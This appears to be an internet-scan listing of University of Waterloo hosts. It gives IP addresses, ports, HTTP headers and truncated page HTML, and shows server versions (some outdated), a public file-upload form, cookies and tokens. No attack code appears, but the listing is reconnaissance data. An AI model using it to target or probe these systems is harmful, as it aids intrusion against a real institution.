Transfer-Encoding: chunked
Page title: rocketchat.cs
<!DOCTYPE html>
<html>
<head>
<link rel="stylesheet" type="text/css" class="__meteor-css__" href="/e37e3a526aace32e4ea71108fc18652f860ce79f.css?meteor_css_resource=true">
<script id="scripts" type="text/javascript" src="/scripts_887a5339b2625a8970658c4f5f9bd94f1067ab7a.js"></script>
<meta name="referrer" content="same-origin" />
<link rel="icon" sizes="16x16" type="image/png" href=/assets/favicon_16.png />
<link rel="icon" sizes="32x32" type="image/png" href=/assets/favicon_32.png />
<link rel="icon" sizes="any" type="image/svg+xml" href=/assets/favicon.svg />
<title>rocketchat.cs</title><meta name="application-name" content="rocketchat.cs"><meta name="apple-mobile-web-app-title" content="rocketchat.cs">
<meta http-equiv="content-language" content=""><meta name="language" content="">
<meta name="robots" content="INDEX,FOLLOW">
<meta name="msvalidate.01" content="">
<meta name="google-site-verification" content="">
<meta property="fb:app_id" content="">
<base href="/">
</head>
<body>
<noscript style="color: white; text-align:center">
You need to enable JavaScript to run this app.
</noscript>
<div id="react-root">
<div class="page-loading" role="alert" aria-busy="true" aria-live="polite" aria-label="loading">
<div class="loading__animation">
<div class="loading__animation__bounce"></div>
<div class="loading__animation__bounce"></div>
<div class="loading__animation__bounce"></div>
</div>
</div>
</div>
<style id='css-variables'> :root {}</style>
<script type="text/javascript" src="/meteor_runtime_config.js?hash=21828d900ff27b15c1ad7ab0aeec098f547fa62d"></script>
<script type="text/javascript" src="/3054b8907c5ff9acb854316cc540d0d364e126dc.js?meteor_js_resource=true"></script>
</body>
</html>
Open service 35.182.192.50:443 · www.core.uwaterloo.ca
2026-01-23 06:27
HTTP/1.1 301 Moved Permanently Date: Fri, 23 Jan 2026 06:27:39 GMT Server: Apache/2.4.29 (Ubuntu) X-Redirect-By: WordPress Location: https://core.uwaterloo.ca/ Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8
Open service 129.97.140.196:80 · cemc1.uwaterloo.ca
2026-01-23 06:27
HTTP/1.1 301 Moved Permanently Date: Fri, 23 Jan 2026 06:27:22 GMT Server: Apache/2.4.52 (Ubuntu) Set-Cookie: pll_language=en; expires=Sat, 23-Jan-2027 06:27:22 GMT; Max-Age=31536000; path=/ X-Redirect-By: WordPress Location: http://cscircles.cemc.uwaterloo.ca/ Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8
Open service 129.97.83.99:443 · latex2mobius.uwaterloo.ca
2026-01-23 06:19
HTTP/1.1 200 OK
Date: Fri, 23 Jan 2026 06:19:30 GMT
Server: Apache/2.4.37 (Red Hat Enterprise Linux) OpenSSL/1.1.1k
X-Powered-By: PHP/7.2.24
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<!-- <html> -->
<!--
* front-end for latex2mobius project
* Intended to convert .tex files to a usable format for Mobius courses
* Connected to latex2mobius.py to convert .tex files to .html files
* Date created: June 10th, 2020
* Original upload code functionality from W3 Schools
* https://www.w3schools.com/php/php_file_upload.asp
-->
<!DOCTYPE html>
<html>
<head>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
<link href="https://fonts.googleapis.com/css2?family=Roboto:ital,wght@0,100;0,300;0,400;0,500;0,700;0,900;1,400&display=swap" rel="stylesheet">
<link rel="stylesheet" href="styles/styles.css">
<script src="https://use.fontawesome.com/aad47a8511.js"></script>
<link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png">
<link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png">
<link rel="icon" type="image/png" sizes="16x16" href="/favicon-16x16.png">
<link rel="manifest" href="/site.webmanifest">
<link rel="mask-icon" href="/safari-pinned-tab.svg" color="#5bbad5">
<meta name="msapplication-TileColor" content="#da532c">
<meta name="theme-color" content="#ffffff">
</head>
<body>
<nav class="navbar navbar-expand-sm navbar-light ">
<a class="navtitle navbar-brand" href="./">LaTeX to Mobius</a>
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarSupportedContent">
<ul class="navbar-nav mr-auto navbar-right">
</ul>
<ul class="nav justify-content-end">
<a class="nav-link nav-links" href="./">
<button type="button" class="btn prim-button nav-links additonal-buttons">Home</button></a>
<a class="nav-link nav-links" href="index.php?page=disclaimer">
<button type="button" class="btn nav-links additonal-buttons">Disclaimer</button></a>
<a class="nav-link nav-links" href="includes/L2M_Documentation.pdf">
<button type="button" class="btn nav-links additonal-buttons">User Guide</button></a>
</ul>
</div>
</nav>
<!-- <html> -->
<div class="d-flex justify-content-center vertical-center">
<div class="d-flex justify-content-center flex-column">
<div class="p-2">
<h2 class="text-center make-roboto">Upload files</h2>
</div>
<div class="p-2">
<form action="index.php" method="post" enctype="multipart/form-data">
</br>
</br>
<input type="file" name="fileToUpload" id="fileToUpload" class="inputfile inputfile-1" data-multiple-caption="{count} files selected" multiple />
<label for="fileToUpload" />
<div style="text-align: center;">
<span id="upload-bar">
<i class="fa fa-cloud-upload fa-2x fontawesome-upload-icon-latex" aria-hidden="true"></i>
Select a .tex or .zip file to upload…
</span>
</div>
</label>
</br>
</br>
<button class="btn nav-links2" type='submit' onclick="setTimeout(another_upload_text(), 5000);">Convert LaTeX Document</button>
<!-- <input class="favorite styled" type="submit" value="Upload LaTeX file" name="submit"> -->
</form>
</div>
</div>
</div>
<div class="d-flex justify-content-center vertical-center
Open service 129.97.222.91:443 · waterloo-ar.uwaterloo.ca
2026-01-23 06:17
HTTP/1.1 200 OK
Date: Fri, 23 Jan 2026 06:17:42 GMT
Server: Apache/2.4.52 (Ubuntu)
Last-Modified: Fri, 24 Nov 2023 15:31:34 GMT
ETag: "18fd-60ae7a5b4c639"
Accept-Ranges: bytes
Content-Length: 6397
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Page title: AR Molecule Viewer
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<link rel="icon" href="ar_icon.ico" />
<title>AR Molecule Viewer</title>
<!--<link rel="stylesheet" href="style.css" />-->
<!--<script src="/script.js" defer></script>-->
<script src="3Dmol-min.js"></script>
<script src="3Dmol.js"></script>
</head>
<body>
<h1 class="title">AR Molecule Viewer</h1>
Open a marker image on your computer, or print this marker image out. On your phone, open the "Augmented Reality Viewer" and point the camera at the marker.
It may take a few seconds for the model to load.
<br>
<br>
<button>
<a href="enter_ar.html" style="text-decoration:none" >Augmented Reality Viewer </a>
</button>
<br>
<br>
<button>
<a href="enter_ar_interact_hemoglobin.html" style="text-decoration:none" >AR Hemoglobin </a>
</button>
<br>
<br>
<button>
<a href="enter_ar_interact_ion_channel.html" style="text-decoration:none" >AR Ion Channel </a>
</button>
<br>
<br>
<button>
<a href="enter_ar_interact_ligand_binder.html" style="text-decoration:none" >AR Ligand Binder </a>
</button>
<br>
<br>
<button>
<a href="enter_ar_interact_sn1.html" style="text-decoration:none" >AR SN1 </a>
</button>
<br>
<br>
<button>
<a href="enter_ar_interact_sn2.html" style="text-decoration:none" >AR SN1 </a>
</button>
<br>
<br>
<br>
<table>
<tr>
<td><a href="hemoglobin_marker.html" style="text-decoration:none" >Hemoglobin Marker </a>
</td>
<td>
<!-- <div style="height: 200px; width: 200px; position: relative;" class='viewer_3Dmoljs' data-href='hemoglobin_model.pdb'
data-select1='chain:A' data-style1='cartoon:color=spectrum' data-select2='resn:HEM' data-style2='stick'
data-select3='resn:OXY' data-style3='sphere'></div> -->
<div class="viewer_container">
<div id="hemoglobin_reaction" class="mol_container" style="max-height: 25vh; max-width: 30vw; height: 300px; width: 400px; position: relative;">
<canvas id="undefined" style="max-height: 25vh; max-width: 30vw; height: 300px; width: 400px; position: relative;" ></canvas>
</div>
</div>
<script>
$(document).ready(function(){
$.get("hemoglobin_model.pdb", function(data) {
wid = $3Dmol.createViewer("hemoglobin_reaction");
set = {
interval: 30,
animation: 'backAndForth',
}
wid.addModelsAsFrames(data, "pdb");
wid.setBackgroundColor(0xF6F6F6);
wid.setStyle({chain:'A'},{cartoon:{color:'spectrum'}});
wid.setStyle({resi:['42','58','64','87','104']},{stick:{colorscheme:"cyanCarbon"}})
wid.setStyle({resn:'HEM'},{stick:{}})
wid.setStyle({resn:'OXY'},{sphere: {scale: 0.7}})
wid.setStyle({elem:'Fe'},{sphere: {scale: 0.7}})
wid.zoomTo();
wid.render();
wid.animate({'loop': set['animation'], 'interval': set['interval']});
});
});
</script>
</td>
<td>Oxygenation of hemoglobin</td>
</tr>
<tr>
<td><a href="ion_channel_marker.html" style="text-decoration:none" >Ion channel </a></td>
<td>
<div class="viewer_container">
<div id="ion_channel" class="mol_container" style="max-height: 25vh; max-width: 30vw; height: 300px; width: 400px; position: relative;">
<canvas id="undefined1" style="max-height: 25vh; max-width: 30vw; height: 300px; width: 400px; position: relative;" ></canvas>
</div>
</div>
<script>
$(document).ready(function(){
$.get("ion_channel.pdb", function(data) {
wid = $3Dmol.createViewer("ion_channel");
set = {
interval: 30,
animation: 'backAndForth',
}
wid.addModelsAsFrames(data, "pdb");
wid.setBackgroundColor(0xF6F6F6);
wid.setStyle({chain:'A'},{cartoon:{color:'pink'}});
wid.setStyle({chain:'B'},{cartoon:{color:'cyan'}});
wid.setStyle({chain:'C'},{cartoon:{color:'white'}});
Open service 129.97.134.246:443 · www.mathnews.uwaterloo.ca
2026-01-23 05:57
HTTP/1.1 301 Moved Permanently Date: Fri, 23 Jan 2026 05:57:16 GMT Server: Apache Strict-Transport-Security: max-age=31536000 Expires: Fri, 23 Jan 2026 06:57:16 GMT Cache-Control: max-age=3600 X-Redirect-By: WordPress Location: https://mathnews.uwaterloo.ca/ Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8
Open service 129.97.222.20:443 · esg-reporting.uwaterloo.ca
2026-01-23 05:51
HTTP/1.1 200 OK Date: Fri, 23 Jan 2026 05:46:37 GMT Server: Apache Link: <https://esg-reporting.uwaterloo.ca/wp-json/>; rel="https://api.w.org/", <https://esg-reporting.uwaterloo.ca/wp-json/wp/v2/pages/259>; rel="alternate"; title="JSON"; type="application/json", <https://esg-reporting.uwaterloo.ca/>; rel=shortlink Strict-Transport-Security: max-age=31536000; includeSubDomains Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Referrer-Policy: strict-origin-when-cross-origin X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Vary: Accept-Encoding Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' *.googleapis.com *.gstatic.com *.cloudflare.com *.wordpress.com; style-src 'self' 'unsafe-inline' *.googleapis.com *.gstatic.com *.cloudflare.com *.wordpress.com; img-src 'self' data: *.gravatar.com *.googleapis.com *.gstatic.com *.cloudflare.com *.wordpress.com; font-src 'self' *.googleapis.com *.gstatic.com *.cloudflare.com; connect-src 'self' *.googleapis.com *.gstatic.com *.cloudflare.com *.wordpress.com *.gravatar.com; frame-src 'self' *.youtube.com *.vimeo.com; object-src 'none'; base-uri 'self'; form-action 'self'; Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
Open service 129.97.134.17:443 · fass.uwaterloo.ca
2026-01-23 05:47
HTTP/1.1 200 OK
Date: Fri, 23 Jan 2026 05:47:57 GMT
Server: Apache/2.4.66 (Debian)
Link: <https://fass.uwaterloo.ca/wp-json/>; rel="https://api.w.org/"
Strict-Transport-Security: max-age=26784000
Upgrade: h2,h2c
Connection: Upgrade, close
Vary: Accept-Encoding
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
Page title: FASS | UW's Premier Amateur Amateur Theatre Company
<!DOCTYPE html>
<!--[if IE 7]>
<html class="ie ie7" lang="en-US">
<![endif]-->
<!--[if IE 8]>
<html class="ie ie8" lang="en-US">
<![endif]-->
<!--[if !(IE 7) | !(IE 8) ]><!-->
<html lang="en-US">
<!--<![endif]-->
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width" />
<title>FASS | UW's Premier Amateur Amateur Theatre Company</title>
<link rel="profile" href="http://gmpg.org/xfn/11" />
<link rel="pingback" href="https://fass.uwaterloo.ca/xmlrpc.php" />
<!--[if lt IE 9]>
<script src="https://fass.uwaterloo.ca/wp-content/themes/testtwo/js/html5.js" type="text/javascript"></script>
<![endif]-->
<meta name='robots' content='max-image-preview:large' />
<link rel='dns-prefetch' href='//fonts.googleapis.com' />
<link rel="alternate" type="application/rss+xml" title="FASS » Feed" href="https://fass.uwaterloo.ca/feed/" />
<link rel="alternate" type="application/rss+xml" title="FASS » Comments Feed" href="https://fass.uwaterloo.ca/comments/feed/" />
<script type="text/javascript">
window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/14.0.0\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/14.0.0\/svg\/","svgExt":".svg","source":{"concatemoji":"https:\/\/fass.uwaterloo.ca\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.2.2"}};
/*! This file is auto-generated */
!function(e,a,t){var n,r,o,i=a.createElement("canvas"),p=i.getContext&&i.getContext("2d");function s(e,t){p.clearRect(0,0,i.width,i.height),p.fillText(e,0,0);e=i.toDataURL();return p.clearRect(0,0,i.width,i.height),p.fillText(t,0,0),e===i.toDataURL()}function c(e){var t=a.createElement("script");t.src=e,t.defer=t.type="text/javascript",a.getElementsByTagName("head")[0].appendChild(t)}for(o=Array("flag","emoji"),t.supports={everything:!0,everythingExceptFlag:!0},r=0;r<o.length;r++)t.supports[o[r]]=function(e){if(p&&p.fillText)switch(p.textBaseline="top",p.font="600 32px Arial",e){case"flag":return s("\ud83c\udff3\ufe0f\u200d\u26a7\ufe0f","\ud83c\udff3\ufe0f\u200b\u26a7\ufe0f")?!1:!s("\ud83c\uddfa\ud83c\uddf3","\ud83c\uddfa\u200b\ud83c\uddf3")&&!s("\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc65\udb40\udc6e\udb40\udc67\udb40\udc7f","\ud83c\udff4\u200b\udb40\udc67\u200b\udb40\udc62\u200b\udb40\udc65\u200b\udb40\udc6e\u200b\udb40\udc67\u200b\udb40\udc7f");case"emoji":return!s("\ud83e\udef1\ud83c\udffb\u200d\ud83e\udef2\ud83c\udfff","\ud83e\udef1\ud83c\udffb\u200b\ud83e\udef2\ud83c\udfff")}return!1}(o[r]),t.supports.everything=t.supports.everything&&t.supports[o[r]],"flag"!==o[r]&&(t.supports.everythingExceptFlag=t.supports.everythingExceptFlag&&t.supports[o[r]]);t.supports.everythingExceptFlag=t.supports.everythingExceptFlag&&!t.supports.flag,t.DOMReady=!1,t.readyCallback=function(){t.DOMReady=!0},t.supports.everything||(n=function(){t.readyCallback()},a.addEventListener?(a.addEventListener("DOMContentLoaded",n,!1),e.addEventListener("load",n,!1)):(e.attachEvent("onload",n),a.attachEvent("onreadystatechange",function(){"complete"===a.readyState&&t.readyCallback()})),(e=t.source||{}).concatemoji?c(e.concatemoji):e.wpemoji&&e.twemoji&&(c(e.twemoji),c(e.wpemoji)))}(window,document,window._wpemojiSettings);
</script>
<style type="text/css">
img.wp-smiley,
img.emoji {
display: inline !important;
border: none !important;
box-shadow: none !important;
height: 1em !important;
width: 1em !important;
margin: 0 0.07em !important;
vertical-align: -0.1em !important;
background: none !important;
padding: 0 !important;
}
</style>
<link rel='stylesheet' id='wp-block-library-css' href='https://fass.uwaterloo.ca/wp-includes/css/dist/block-library/style.min.css?ver=6.2.2' type='text/css' media='all' />
<link rel='stylesheet' id='classic-theme-styles-css' href='https://fass.uwaterloo.ca/wp-includes/css/classic-themes.min.css?ver=6.2.2' type='text/css' media='all' />
<style id='global-styles-inline-css' type='text/css'>
body{--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--
Open service 35.182.192.50:443 · core.uwaterloo.ca
2026-01-23 03:50
HTTP/1.1 200 OK Date: Fri, 23 Jan 2026 03:50:24 GMT Server: Apache/2.4.29 (Ubuntu) Link: <https://core.uwaterloo.ca/wp-json/>; rel="https://api.w.org/" Link: <https://core.uwaterloo.ca/wp-json/wp/v2/pages/3565>; rel="alternate"; title="JSON"; type="application/json" Link: <https://core.uwaterloo.ca/>; rel=shortlink Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
Open service 129.97.222.96:443 · ldir.sci.uwaterloo.ca
2026-01-23 03:23
HTTP/1.1 307 Temporary Redirect Alt-Svc: h3=":443"; ma=2592000 Location: https://checkvpn.uwaterloo.ca/?callback=https://ldir.sci.uwaterloo.ca/ Server: Caddy Date: Fri, 23 Jan 2026 03:23:33 GMT Content-Length: 0 Connection: close
Open service 129.97.222.96:80 · ldir.sci.uwaterloo.ca
2026-01-23 03:23
HTTP/1.1 308 Permanent Redirect Connection: close Location: https://ldir.sci.uwaterloo.ca/ Server: Caddy Date: Fri, 23 Jan 2026 03:24:02 GMT Content-Length: 0
Open service 129.97.50.135:443 · iwarrior.uwaterloo.ca
2026-01-23 03:17
HTTP/1.1 200 OK Date: Fri, 23 Jan 2026 03:17:39 GMT Server: Apache/2.4.63 (FreeBSD) OpenSSL/3.0.15 mod_fcgid/2.3.9 mod_perl/2.0.13 Perl/v5.36.3 Link: <https://iwarrior.uwaterloo.ca/wp-json/>; rel="https://api.w.org/" Strict-Transport-Security: max-age=63072000; includeSubdomains; Upgrade: h2 Connection: Upgrade, close X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1;mode=block X-Content-Type-Options: nosniff X-XSRF-TOKEN: CfDJ8D-A48j-xV5MqmO4Dlt0_Vg0Y8Pa2R2SFJyL2iVPrAaHCpih4mrx2_R7bncDeraDnAt-oRt0JSPfob5cebRurr0nzeOxRqmfSIYQYyCETQM3vc6BDul9Bq-WMrIj-i4BhliQOeo3q3WsSqIwRn4lnHo Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
Open service 129.97.222.96:80 · collections-stage.sci.uwaterloo.ca
2026-01-23 02:43
HTTP/1.1 308 Permanent Redirect Connection: close Location: https://collections-stage.sci.uwaterloo.ca/ Server: Caddy Date: Fri, 23 Jan 2026 02:44:01 GMT Content-Length: 0
Open service 129.97.222.96:443 · collections-stage.sci.uwaterloo.ca
2026-01-23 02:43
HTTP/1.1 307 Temporary Redirect Alt-Svc: h3=":443"; ma=2592000 Location: https://checkvpn.uwaterloo.ca/?callback=https://collections-stage.sci.uwaterloo.ca/ Server: Caddy Date: Fri, 23 Jan 2026 02:43:30 GMT Content-Length: 0 Connection: close
Open service 129.97.193.8:443 · grants.uwaterloo.ca
2026-01-23 02:21
HTTP/1.1 200 OK Date: Fri, 23 Jan 2026 02:21:58 GMT Server: Apache/2.4.52 (Ubuntu) Set-Cookie: OJSSID=3naikni55r1mduvinhbv6gif11; path=/; domain=grants.uwaterloo.ca; HttpOnly; SameSite=Lax Cache-Control: public Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=utf-8 Page title: University of Waterloo Internal Grants Sites <!DOCTYPE html> <html lang="en-US" xml:lang="en-US"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title> University of Waterloo Internal Grants Sites </title> <meta name="generator" content="Open Journal Systems 3.3.0.17"> <link rel="stylesheet" href="https://grants.uwaterloo.ca/index.php/index/$$$call$$$/page/page/css?name=stylesheet" type="text/css" /><link rel="stylesheet" href="https://grants.uwaterloo.ca/index.php/index/$$$call$$$/page/page/css?name=font" type="text/css" /><link rel="stylesheet" href="https://grants.uwaterloo.ca/lib/pkp/styles/fontawesome/fontawesome.css?v=3.3.0.17" type="text/css" /> </head> <body class="pkp_page_index pkp_op_index" dir="ltr"> <div class="pkp_structure_page"> <header class="pkp_structure_head" id="headerNavigationContainer" role="banner"> <nav class="cmp_skip_to_content" aria-label="Jump to content links"> <a href="#pkp_content_main">Skip to main content</a> <a href="#siteNav">Skip to main navigation menu</a> <a href="#pkp_content_footer">Skip to site footer</a> </nav> <div class="pkp_head_wrapper"> <div class="pkp_site_name_wrapper"> <button class="pkp_site_nav_toggle"> <span>Open Menu</span> </button> <h1 class="pkp_screen_reader"> University of Waterloo Internal Grants Sites </h1> <div class="pkp_site_name"> <a href=" https://grants.uwaterloo.ca/index.php/index/index " class="is_text">University of Waterloo Internal Grants Sites</a> </div> </div> <nav class="pkp_site_nav_menu" aria-label="Site Navigation"> <a id="siteNav"></a> <div class="pkp_navigation_primary_row"> <div class="pkp_navigation_primary_wrapper"> </div> </div> <div class="pkp_navigation_user_wrapper" id="navigationUserWrapper"> <ul id="navigationUser" class="pkp_navigation_user pkp_nav_list"> <li class="profile"> <a href="https://grants.uwaterloo.ca/index.php/index/user/register"> Register </a> </li> <li class="profile"> <a href="https://grants.uwaterloo.ca/index.php/index/login"> Login </a> </li> </ul> </div> </nav> </div><!-- .pkp_head_wrapper --> </header><!-- .pkp_structure_head --> <div class="pkp_structure_content"> <div class="pkp_structure_main" role="main"> <a id="pkp_content_main"></a> <div class="page_index_site"> <div class="about_site"> <p>This site provides a comprehensive list of all the OJS sites hosted by the University of Waterloo Libraries used for submission and review of internal grants at the University of Waterloo. Further information about this program can be found on the <a href="https://uwaterloo.ca/lib//services/ojs-sites-internal-grants" target="_blank" rel="noopener">OJS Sites for Internal Grants</a> page.</p> </div> <div class="journals"> <h2> Journals </h2> <ul> <li> <div class="body"> <h3> <a href="https://grants.uwaterloo.ca/index.php/gsf" rel="bookmark"> Graham Seed Fund </a> </h3> <div class="description"> <p>The Graham Seed Fund (GSF) supports research at the University of Waterloo that addresses critical health care challenges through interdisciplinary collaboration with clinicians and health providers. Funded by the J.W. Graham Trust Endowment, the GSF helps researchers hire highly qualified personnel—such as graduate students and postdocs—to generate early-stage findings that can lead to larger external funding opportunities. This initiative aligns with the university’s goal of becoming a global hub for transformative health technologies.</p> <p>As a key driver of health innovation, the GSF plays a central role in the university’s involvement with the CareNext coalition—a partnership with the Waterloo Regional Health Network. Launched in 2024, CareNext aim
Open service 129.97.222.20:443 · margotblog.uwaterloo.ca
2026-01-23 02:07
HTTP/1.1 301 Moved Permanently Date: Fri, 23 Jan 2026 02:02:42 GMT Server: Apache Strict-Transport-Security: max-age=31536000; includeSubDomains Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self' data:; font-src 'self'; connect-src 'self'; frame-src 'self' https://arts.uwaterloo.ca; frame-ancestors 'self'; Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Referrer-Policy: strict-origin-when-cross-origin X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Location: https://uwaterloo.ca/margot/ Content-Length: 236 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://uwaterloo.ca/margot/">here</a>.</p> </body></html>
Open service 129.97.77.79:443 · hiam.uwaterloo.ca
2026-01-23 02:01
HTTP/1.1 200 OK Date: Fri, 23 Jan 2026 02:01:41 GMT Server: Apache/2.4.58 (Ubuntu) Upgrade: h2 Connection: Upgrade, close Link: <https://hiam.uwaterloo.ca/wp-json/>; rel="https://api.w.org/" Link: <https://hiam.uwaterloo.ca/wp-json/wp/v2/pages/653>; rel="alternate"; title="JSON"; type="application/json" Link: <https://hiam.uwaterloo.ca/>; rel=shortlink Last-Modified: Fri, 23 Jan 2026 01:33:20 GMT ETag: "277e5b0f588cb38b9b95362a04402398" Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
Open service 129.97.128.150:443 · ist.uwaterloo.ca
2026-01-23 01:32
HTTP/1.1 301 Moved Permanently Date: Fri, 23 Jan 2026 01:32:53 GMT Server: Apache/2.4.37 (Red Hat Enterprise Linux) OpenSSL/1.1.1k Strict-Transport-Security: max-age=31536000 Location: https://uwaterloo.ca/ist/ Content-Length: 233 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://uwaterloo.ca/ist/">here</a>.</p> </body></html>
Open service 129.97.83.52:443 · communitydesirelines.uwaterloo.ca
2026-01-23 01:04
HTTP/1.1 502 Bad Gateway
Content-Type: text/html
Server: Microsoft-IIS/10.0
Date: Fri, 23 Jan 2026 01:04:30 GMT
Connection: close
Content-Length: 1477
Page title: 502 - Web server received an invalid response while acting as a gateway or proxy server.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/>
<title>502 - Web server received an invalid response while acting as a gateway or proxy server.</title>
<style type="text/css">
<!--
body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}
fieldset{padding:0 15px 10px 15px;}
h1{font-size:2.4em;margin:0;color:#FFF;}
h2{font-size:1.7em;margin:0;color:#CC0000;}
h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;}
#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;
background-color:#555555;}
#content{margin:0 0 0 2%;position:relative;}
.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}
-->
</style>
</head>
<body>
<div id="header"><h1>Server Error</h1></div>
<div id="content">
<div class="content-container"><fieldset>
<h2>502 - Web server received an invalid response while acting as a gateway or proxy server.</h2>
<h3>There is a problem with the page you are looking for, and it cannot be displayed. When the Web server (while acting as a gateway or proxy) contacted the upstream content server, it received an invalid response from the content server.</h3>
</fieldset></div>
</div>
</body>
</html>
Open service 129.97.50.135:443 · engconnect.uwaterloo.ca
2026-01-23 01:01
HTTP/1.1 200 OK Date: Fri, 23 Jan 2026 01:01:48 GMT Server: Apache/2.4.63 (FreeBSD) OpenSSL/3.0.15 mod_fcgid/2.3.9 mod_perl/2.0.13 Perl/v5.36.3 Link: <https://engconnect.uwaterloo.ca/wp-json/>; rel="https://api.w.org/", <https://engconnect.uwaterloo.ca/wp-json/wp/v2/pages/15>; rel="alternate"; title="JSON"; type="application/json", <https://engconnect.uwaterloo.ca/>; rel=shortlink Strict-Transport-Security: max-age=63072000; includeSubdomains; Upgrade: h2 Connection: Upgrade, close X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1;mode=block X-Content-Type-Options: nosniff X-XSRF-TOKEN: CfDJ8D-A48j-xV5MqmO4Dlt0_Vg0Y8Pa2R2SFJyL2iVPrAaHCpih4mrx2_R7bncDeraDnAt-oRt0JSPfob5cebRurr0nzeOxRqmfSIYQYyCETQM3vc6BDul9Bq-WMrIj-i4BhliQOeo3q3WsSqIwRn4lnHo Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
Open service 129.97.140.196:443 · cemclinux11.math.uwaterloo.ca
2026-01-23 00:56
HTTP/1.1 301 Moved Permanently Date: Fri, 23 Jan 2026 00:56:48 GMT Server: Apache/2.4.52 (Ubuntu) Set-Cookie: pll_language=en; expires=Sat, 23-Jan-2027 00:56:48 GMT; Max-Age=31536000; path=/; secure X-Redirect-By: WordPress Location: https://cscircles.cemc.uwaterloo.ca/ Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8
Open service 129.97.7.167:443 · deliberarts.pandora.cs.uwaterloo.ca
2026-01-22 21:29
HTTP/1.1 200 OK
Alt-Svc: h3=":443"; ma=2592000
Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
Content-Type: text/html; charset=utf-8
Date: Thu, 22 Jan 2026 21:30:11 GMT
Link: </_next/static/media/4cf2300e9c8272f7-s.p.woff2>; rel=preload; as="font"; crossorigin=""; type="font/woff2"
Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding
X-Powered-By: Next.js
Connection: close
Transfer-Encoding: chunked
Page title: Next.js and Supabase Starter Kit
<!DOCTYPE html><html lang="en"><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1"/><link rel="stylesheet" href="/_next/static/css/1ef253af618301fc.css" data-precedence="next"/><link rel="stylesheet" href="/_next/static/css/9c3444d6b954b3ef.css" data-precedence="next"/><link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/webpack-dfacfd9a624c549b.js"/><script src="/_next/static/chunks/4bd1b696-c023c6e3521b1417.js" async=""></script><script src="/_next/static/chunks/255-1a334e32aac762cd.js" async=""></script><script src="/_next/static/chunks/main-app-2ecc3bf42ae2d122.js" async=""></script><script src="/_next/static/chunks/app/layout-61749e99c51e1518.js" async=""></script><script src="/_next/static/chunks/559-b87c0214964217b5.js" async=""></script><script src="/_next/static/chunks/756-6c4383bb0542c357.js" async=""></script><script src="/_next/static/chunks/619-ba102abea3e3d0e4.js" async=""></script><script src="/_next/static/chunks/586-a5e95c44f83d18be.js" async=""></script><script 